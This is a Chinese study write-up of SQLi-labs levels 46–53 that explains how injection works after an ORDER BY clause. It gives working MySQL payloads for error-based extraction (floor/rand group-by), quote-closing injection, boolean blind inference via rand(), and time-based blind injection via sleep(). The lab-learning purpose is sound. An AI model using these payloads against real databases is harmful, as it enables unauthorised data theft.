进入到新的环节了,order by 后的注入,和之前的select有点不太一样
Less 46 ORDER BY-Error-Numeric
手工注入
- 输入sort=1后出现的是一张排序的表格。
- 可以尝试使用sort=1 desc或者sort=1 asc来判断是否存在注入点。desc是降序,asc是升序。如果有变化说明存在注入点。
- 由于order by 后面只能接(字段名,位置,表达式)等信息,如果并不能向原来一样使用联合查询。这里面直接使用sort=(select ...)的方式来实现报错注入。参考less 5的手法。
- 就是把select *改成了select count(*),因为order by 后只能接一个参数,其余的没什么变化。
(select count(*) from (select concat_ws("^",(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) - 然后其余的数据就不写了,放在其他less里面去。
函数分析
- 无
Less 47 ORDER BY Clause-Error-Single quote
手工注入
- 看标题说有单引号。。。但是想想有点奇怪的,Order by后面不都是接数值,第几个第几个字段么,一直没用过单引号。。。
- 如果还用之前的sort=(select ...)似乎怎么样都没法实现闭合。这关换另外一种方法尝试。
1' and (select count(*) from (select concat_ws("^",(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) --+
函数分析
- 无
Less 48 ORDER BY Clause Blind based
手工注入
- 盲注来了,之前的两种报错注入都没法使用了。这里使用rand()函数来完成。先说原理。
- 当sort=rand(true)和sort=(false)时会出现不同的结果。基于这点就可以使用布尔型的盲注了。
- 直接将rand()函数中的数值换成判断语句即可。这边猜一下users表中有几个字段吧。
rand((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3) - rand(ture)在我的实验环境中第一个是id=11,而rand(false)在我的实验环境中第一个是id=1。
- 结果显示是id=11,也就是语句是正确的。
函数分析
- 无
Less 49 ORDER BY Clause Blind based with single quote
手工注入
- 由于有单引号的原因,直接使用rand()就不太好用,用sort=1' and rand()尝试后也用不好,这里还可以使用一下基于时间的盲注。这个sleep()会比原来用的时间久,查了资料说是因为每有一条满足条件的记录就会执行一次,这里就不去验证了,意义不大。
-
1' and if((ascii(substr(database(),1,1)))>0,sleep(1),1) --+
函数分析
- 无
Less 50-53 Order by with Stacked Injection
手工注入
- 这里就不再玩一遍了,就是Order by 和前面的Stacked Injection组合起来,其实是一样的,直接过。
函数分析
- 无